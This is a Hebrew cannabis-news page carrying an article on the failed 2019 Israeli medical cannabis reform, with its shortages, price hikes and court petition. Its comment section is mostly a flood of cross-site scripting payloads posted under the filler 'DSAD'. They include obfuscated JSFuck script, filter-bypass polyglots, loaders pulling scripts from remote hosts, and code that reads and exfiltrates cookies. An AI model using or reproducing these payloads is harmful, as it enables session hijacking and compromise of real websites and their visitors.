מגזין חדשות קנאביס

image

הרפורמה שכשלה: מחסור חמור בקנאביס רפואי בארץ

בעקבות מהפכת הקנאביס הרפואי, נוצר חוסר במלאי באספקת הקנאביס ברחבי הארץ. בתי המרקחת ריקים כמעט לחלוטין מקנאביס והמטופלים הזקוקים לקנאביס הרפואי מיואשים מהמצב.

רפורמת הקנאביס הרפואי הייתה אמורה להיות בשורה חיובית ומשמחת עבור המטופלים הזקוקים לקנאביס. הרפורמה, שנכנסה לתוקפה במאי 2019, נועדה להסדיר את מעמדו של הקנאביס הרפואי כתרופה ולהקל על החולים ברכישה ובצריכה. היא הגדירה בין היתר שרכישת קנאביס רפואי תהיה בבתי מרקחת ולא דרך עמדות חלוקה ספורות כמו בית חולים אברבנאל, נקודת החלוקה ״תיקון עולם״ שבתל אביב או ישירות מהמגדלים.

עוד קבעה הרפורמה שרופאים שעברו הכשרה מתאימה יוכלו להנפיק רשיון עבור מגדלי קנאביס רפואי, ומגדלי קנאביס יקבלו את הרשיון כל עוד הם עומדים בתקן משרד הבריאות. בנוסף, נאסר על המגדלים להיות בקשר ישיר עם המטופל, ונקבע כי שקית של 10 גרם תעלה 180 שקלים.

כביכול מדובר בצעדים חיוביים שיאפשרו לחולי סרטן, טרשת נפוצה, בעיות מפרקים, אנשים הסובלים מאפליפסיה, מפוסט טראומה ומכאבים כרוניים לרכוש באופן מסודר את הקנאביס הרפואי. אלא שבפועל, הרפורמה הסבה יותר נזק מתועלת.

מחירים יקרים יותר מאז שיצאה הרפורמה לדרך, נוצר זינוק עצום במחירי הקנאביס הרפואי. אם בעבר המטופלים שלמו מחיר קבוע וחודשי – 470 שקלים לחודש כולל דמי משלוח, הרי שהיום המחיר הינו לפי גרם – 180 שקלים לשקית של 10 גרם. המשמעות היא ש-64 אחוז מהמטופלים בארץ הצורכים יותר מ-30 גרם נאלצים לשלם הרבה יותר עבור צריכת הקנאביס הרפואי. עבור החולים שזקוקים לקאנביס כדי להתמודד עם כאבים פיזיים ו/או נפשיים יומיומיים, מדובר בהוצאה כספית כבדה המקשה עוד יותר על חייהם.

מחסור בקנאביס מטופלים רבים מתלוננים על כך שישנו מחסור בקנאביס רפואי בבתי המרקחת מאז שהרפורמה הושקה. הרפורמה מגדירה מספר זנים מצומצם של קנאביס אותם ניתן לרכוש, ובמידה ומטופל זקוק לזן אחר אין בנמצא. במקרים רבים אחרים מדפי בית המרקחת ריקים כמעט לחלוטין מקנאביס רפואי בשל מחסור בתפרחות קנאביס. בתי המרקחת טוענים כי הסיבה למחסור בתפרחות הקנאביס היא שיצרני מוצרי הקנאביס לא מצליחים לעמוד בביקוש הרב.

רוצים לדעת איך לגדל קנאביס בבית בשיטה הידרופונית? לחצו כאן בלית ברירה המטופלים נאלצים לנסוע מרחקים ארוכים כדי לרכוש קנאביס, או לחלופין הם פונים לשוק השחור ורוכשים קנאביס רפואי באופן פיראטי כשלא ברור מה טיב האיכות של המוצר.

איכות ירודה טענה נוספת שנשמעת מפי המטופלים היא שמאז השקת הרפורמה האיכות של הקנאביס נפגמה. הועלו טענות על ריח של עובש משקיות הקנאביס, ונוצר בקרב המטופלים חשש כי החומר רוסס בחומרי הדברה. על שקיות הקנאביס הרפואי הנמכרות בבתי מרקחת לא מצוין האם החומר אורגני או מודבר, ומשרד הבריאות לא הגדיר תקנות בנושא בטענה כי זוהי אחריותו של משרד החקלאות.

מטופלי הקנאביס הרפואי לא מוכנים לקבל את הרפורמה. בסוף חודש מארס 2019 הם הגישו עתירה לבג״ץ נגד יישומה. בתגובה, שופטי בג״ץ הוציאו באוקטובר 2019 צו ביניים המורה למשרד הבריאות להאריך את האסדרה הישנה של הקנאביס הרפואי כפי שהייתה לפני הרפורמה עד לתאריך ה-31 במרץ 2020.

בנוסף, בצו עלתה דרישה ממשרד הבריאות לקבל עדכון חודשי לגבי הדיונים העוסקים בפיקוח על מחירי הקנאביס הרפואי ועל התקדמות הסבת רשיונות המטופלים.

למרות זאת, המצב נותר כשהיה – המחירים יקרים וישנו מחסור חמור בקנאביס הרפואי. החולים מרגישים שהם חיים בתוך סיוט מתמשך ומקווים שהמצב ישתנה במהרה. בשבילם הקנאביס הוא לא סם ״ממסטל״ או ״סם לבילויים וצחוקים עם החבר׳ה״. מדובר בתרופה לכל דבר, כזו שעוזרת להם להעביר את הימים קצת יותר בקלות ולהתמודד עם הסבל והכאב.

    2359 תגובות:

  30. image innerHTML=location.hash>#<script>alert(1)</script>

    DSAD

  37. DSAD

  48. DSAD

  49. DSAD

  83. image <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>

    DSAD

  85. DSAD

  87. image */alert(1)">'onload="/*<svg/1='

    DSAD

  88. DSAD

  94. image <form action=javascript:alert(1)><input type=submit>

    DSAD

  95. image <math><brute href=javascript:alert(1)>click

    DSAD

  96. DSAD

  115. image innerHTML=location.hash>#<script>alert(1)</script>

    DSAD

  132. DSAD

  133. DSAD

  134. DSAD

  168. image <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>

    DSAD

  170. DSAD

  172. image */alert(1)">'onload="/*<svg/1='

    DSAD

  173. DSAD

  174. DSAD

  179. image <math><brute href=javascript:alert(1)>click

    DSAD

  181. image <form action=javascript:alert(1)><input type=submit>

    DSAD

  182. image <isindex action=javascript:alert(1) type=submit value=click>

    DSAD

  183. image <form><button formaction=javascript:alert(1)>click

    DSAD

  184. image <form><input formaction=javascript:alert(1) type=submit value=click>

    DSAD

  185. image <form><input formaction=javascript:alert(1) type=image value=click>

    DSAD

  186. image <form><input formaction=javascript:alert(1) type=image src=SOURCE>

    DSAD

  187. image <isindex formaction=javascript:alert(1) type=submit value=click>

    DSAD

  189. image <iframe srcdoc=<svg/o&#x6Eload=alert(1)>>

    DSAD

  190. image <svg><script xlink:href=data:,alert(1) />

    DSAD

  191. image <math><brute xlink:href=javascript:alert(1)>click

    DSAD

  192. image <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>

    DSAD

  198. image "><img src=1 onerror=alert(1)>.gif

    DSAD

  199. image <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

    DSAD

  200. image GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

    DSAD

  202. image "><script src=data:,alert(1)//

    DSAD

  203. image <script src="//brutelogic.com.br/1.js#

    DSAD

  204. image "><script src=//brutelogic.com.br/1.js#

    DSAD

  205. image <link rel=import href="data:text/html,<script>alert(1)</script>

    DSAD

  206. image "><link rel=import href=data:text/html,<script>alert(1)</script>

    DSAD

  208. image <script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1)

    DSAD

  212. image <body onhashchange=alert(1)><a href=#x>click this!#x

    DSAD

  213. image <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x

    DSAD

  214. image <body onscroll=alert(1)><br><br><br><br>

    DSAD

  220. image <video onloadstart=alert(1)><source>

    DSAD

  223. image <form onsubmit=alert(1)><input type=submit>

    DSAD

  224. image <select onchange=alert(1)><option>1<option>2

    DSAD

  225. DSAD

  227. image <scr<script>ipt>alert('XSS')</scr<script>ipt>

    DSAD

  228. image "><script>alert('XSS')</script>

    DSAD

  229. image "><script>alert(String.fromCharCode(88,83,83))</script>

    DSAD

  231. image <img src=x onerror=alert(String.fromCharCode(88,83,83));>

    DSAD

  232. image <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>

    DSAD

  234. image "><img src=x onerror=alert('XSS');>

    DSAD

  235. image "><img src=x onerror=alert(String.fromCharCode(88,83,83));>

    DSAD

  240. image "><svg/onload=alert(String.fromCharCode(88,83,83))>

    DSAD

  247. image <video><source onerror="javascript:alert(1)">

    DSAD

  248. image <video src=_ onloadstart="alert(1)">

    DSAD

  249. image <details/open/ontoggle="alert`1`">

    DSAD

  252. image <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

    DSAD

  254. image <meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

    DSAD

  255. image data:text/html,<script>alert(0)</script>

    DSAD

  257. image jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )// //</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

    DSAD

  258. image ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http: //i.imgur.com/P8mL8.jpg">

    DSAD

  259. image " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

    DSAD

  260. image ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

    DSAD

  261. image javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

    DSAD

  262. image javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a

    DSAD

  263. image javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*

    DSAD

  264. image javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/

    DSAD

  265. image javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*

    DSAD

  266. image javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//

    DSAD

  267. image javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*

    DSAD

  268. image --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*

    DSAD

  269. image /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*

    DSAD

  270. image javascript://--></title></style></textarea></script><svg "//' onclick=alert()//

    DSAD

  271. image /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

    DSAD

  274. image <script>window['alert'](document['domain'])<script>

    DSAD

  276. image <script>window['alert'](0)</script>

    DSAD

  277. image <script>parent['alert'](1)</script>

    DSAD

  278. DSAD

  279. DSAD

  286. DSAD

  296. DSAD

  297. DSAD

  331. image <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>

    DSAD

  333. DSAD

  335. image */alert(1)">'onload="/*<svg/1='

    DSAD

  336. DSAD

  337. DSAD

  343. image <math><brute href=javascript:alert(1)>click

    DSAD

  344. image <form action=javascript:alert(1)><input type=submit>

    DSAD

  345. image <isindex action=javascript:alert(1) type=submit value=click>

    DSAD

  346. image <form><input formaction=javascript:alert(1) type=submit value=click>

    DSAD

  347. image <form><button formaction=javascript:alert(1)>click

    DSAD

  348. image <form><input formaction=javascript:alert(1) type=image value=click>

    DSAD

  349. image <form><input formaction=javascript:alert(1) type=image src=SOURCE>

    DSAD

  350. image <isindex formaction=javascript:alert(1) type=submit value=click>

    DSAD

  351. image <iframe srcdoc=<svg/o&#x6Eload=alert(1)>>

    DSAD

  353. image <svg><script xlink:href=data:,alert(1) />

    DSAD

  354. image <math><brute xlink:href=javascript:alert(1)>click

    DSAD

  355. image <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>

    DSAD

  361. image "><img src=1 onerror=alert(1)>.gif

    DSAD

  362. image <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

    DSAD

  363. image GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

    DSAD

  365. image "><script src=data:,alert(1)//

    DSAD

  366. image <script src="//brutelogic.com.br/1.js#

    DSAD

  367. image "><script src=//brutelogic.com.br/1.js#

    DSAD

  368. image <link rel=import href="data:text/html,<script>alert(1)</script>

    DSAD

  369. image "><link rel=import href=data:text/html,<script>alert(1)</script>

    DSAD

  371. image <script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1)

    DSAD

  375. image <body onhashchange=alert(1)><a href=#x>click this!#x

    DSAD

  376. image <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x

    DSAD

  377. image <body onscroll=alert(1)><br><br><br><br>

    DSAD

  383. image <video onloadstart=alert(1)><source>

    DSAD

  386. image <form onsubmit=alert(1)><input type=submit>

    DSAD

  387. image <select onchange=alert(1)><option>1<option>2

    DSAD

  388. DSAD

  389. image <script>\u0061\u006C\u0065\u0072\u0074(1)</script>

    DSAD

  390. image <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

    DSAD

  391. image <img src="1" onerror="alert(1)" />

    DSAD

  392. image <iframe src="javascript:alert(1)"></iframe>

    DSAD

  393. image <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

    DSAD

  394. DSAD

  396. image <script ~~~>confirm(1)</script ~~~>

    DSAD

  397. DSAD

  398. image <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>

    DSAD

  399. image <</script/script><script ~~~>\u0061lert(1)</script ~~~>

    DSAD

  400. image <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>

    DSAD

  401. image </style></scRipt><scRipt>alert(1)</scRipt>

    DSAD

  402. image <img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>

    DSAD

  403. image <svg><x><script>alert('1'&#41</x>

    DSAD

  404. image <iframe src=""/srcdoc='<svg onload=alert(1)>'>

    DSAD

  405. image '"--></style></script><script>shadowlabs(0x000045)</script>

    DSAD

  406. image <<scr\0ipt/src=http://xss.com/xss.js></script

    DSAD

  408. image '"--></style></script><script>RWAR(0x00010E)</script>

    DSAD

  409. image "><iframe src="http://google.com"% 3E

    DSAD

  410. image '<script>window.onload=function(){document.forms[0].message.value='1';}</script>

    DSAD

  411. image x”</title><img src=x onerror=alert(1)>

    DSAD

  412. image <script> document.getElementById("safe123").setCapture(); document.getElementById("safe123").click(); </script>

    DSAD

  413. image <script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>

    DSAD

  414. image <script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>

    DSAD

  415. image <script>(function() {var event = document.createEvent("MouseEvents");event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>

    DSAD

  416. image <script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>

    DSAD

  417. image <script>xhr=new ActiveXObject("Msxml2.XMLHTTP");xhr.open("GET","/xssme2",true);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){alert(xhr.responseText.match(/'([^']+)/)[1])}};xhr.send();</script>

    DSAD

  418. image <script>alert(document.documentElement.innerHTML.match(/'([^']+)/)[1])</script>

    DSAD

  419. image <script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']+)/)[1])</script>

    DSAD

  420. image <iframe id="ifra" src="/"></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write("<scr" + "ipt>top.foo = Object.defineProperty</scr" + "ipt>"); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>

    DSAD

  421. image <script> var xdr = new ActiveXObject("Microsoft.XMLHTTP"); xdr.open("get", "/xssme2?a=1", true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*?)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script>

    DSAD

  422. image <script>alert(document.head.innerHTML.substr(146,20));</script>

    DSAD

  423. image <script>alert(document.head.childNodes[3].text)</script>

    DSAD

  424. image <script> d = document.createElement("div"); d.appendChild(document.head.cloneNode(true)); alert(d.innerHTML.match("cookie = '(.*?)'")[1]); </script>

    DSAD

  425. image <script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script>

    DSAD

  426. image <script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>

    DSAD

  427. image <script>x=document.createElement("iframe");x.src="http://xssme.html5sec.org/404";x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};document.body.appendChild(x);</script>

    DSAD

  428. image <script>x=document.createElement("iframe");x.src="http://xssme.html5sec.org/404";x.onload=function(){window.frames[0].document.write("<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>")};document.body.appendChild(x);</script>

    DSAD

  429. image <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie\s+=\s+'(.*)'/gi); alert(RegExp.$1); } } xmlHttp.send(null); }; </script>

    DSAD

  430. image <script> document.getElementById("safe123").click=function()+{alert(Safe.get());} document.getElementById("safe123").click({'type':'click','isTrusted':true}); </script>

    DSAD

  431. image <script> (function (o) { function exploit(x) { if (x !== null) alert('User cookie is ' + x); else console.log('fail'); } o.onclick = function (e) { e.__defineGetter__('isTrusted', function () { return true; }); exploit(Safe.get()); }; var e = document.createEvent('MouseEvent'); e.initEvent('click', true, true); o.dispatchEvent(e); })(document.getElementById('safe123')); </script>

    DSAD

  432. image <script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById("safe123").click=function()+{alert(Safe.get());} document.getElementById("safe123").click(test); </script>

    DSAD

  433. image <iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%3Dnew%20this.contentWindow.window.XMLHttpRequest%28%29%3Bfff.open%28%22GET%22%2C%22xssme2%22%29%3Bfff.onreadystatechange%3Dfunction%28%29%7Bif%20%28fff.readyState%3D%3D4%20%26%26%20fff.status%3D%3D200%29%7Balert%28fff.responseText%29%3B%7D%7D%3Bfff.send%28%29%3B></iframe>

    DSAD

  434. image <script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #

    DSAD

  435. image <script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>

    DSAD

  436. image <img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #

    DSAD

  437. image <SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type="click";getElementById("safe123").click=function()+{alert(Safe.get());};getElementById("safe123").click(test);</SCRIPT>#

    DSAD

  438. image <script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie\s+=\s+'(.*)'/gi); alert(RegExp.$1); } } xmlHttp.send(null); }; </script>#

    DSAD

  439. image <video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type="click";document.getElementById("safe123").click=function()+{alert(Safe.get());};document.getElementById("safe123").click(test);'><source>#

    DSAD

  440. image <script for=document event=onreadystatechange>getElementById('safe123').click()</script>

    DSAD

  441. image <script> var+x+=+showModelessDialog+(this); alert(x.document.cookie); </script>

    DSAD

  442. image <script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>

    DSAD

  443. image <iframe src="404" onload="frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")"></iframe>

    DSAD

  444. image <script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _alert = alert;alert = function() { alert = _alert };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });alert(get());})();};safe123.click();</script>#

    DSAD

  445. image <iframe src="404" onload="self.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")"></iframe>

    DSAD

  446. image <iframe src="404" onload="content.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")"></iframe>

    DSAD

  447. image <iframe src="404" onload="top.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")"></iframe>

    DSAD

  448. image <iframe onload="write('<script>'+location.hash.substr(1)+'</script>')"></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();

    DSAD

  449. image <textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>

    DSAD

  450. image <textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href="javascript:\"<script>var%20xhr%20%3D%20new%20XMLHttpRequest()%3Bxhr.open('GET'%2C%20'http%3A%2F%2Fhtml5sec.org%2Fxssme2'%2C%20true)%3Bxhr.onload%20%3D%20function()%20%7B%20alert(xhr.responseText.match(%2Fcookie%20%3D%20'(.*%3F)'%2F)%5B1%5D)%20%7D%3Bxhr.send()%3B<\/script>\"") autofocus></textarea>

